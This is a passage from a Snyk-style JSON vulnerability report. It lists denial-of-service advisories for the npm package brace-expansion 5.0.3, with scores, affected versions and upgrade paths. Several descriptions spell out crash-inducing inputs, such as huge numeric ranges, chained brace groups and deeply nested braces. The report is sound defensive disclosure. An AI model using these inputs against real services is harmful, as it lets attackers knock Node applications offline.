"severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": 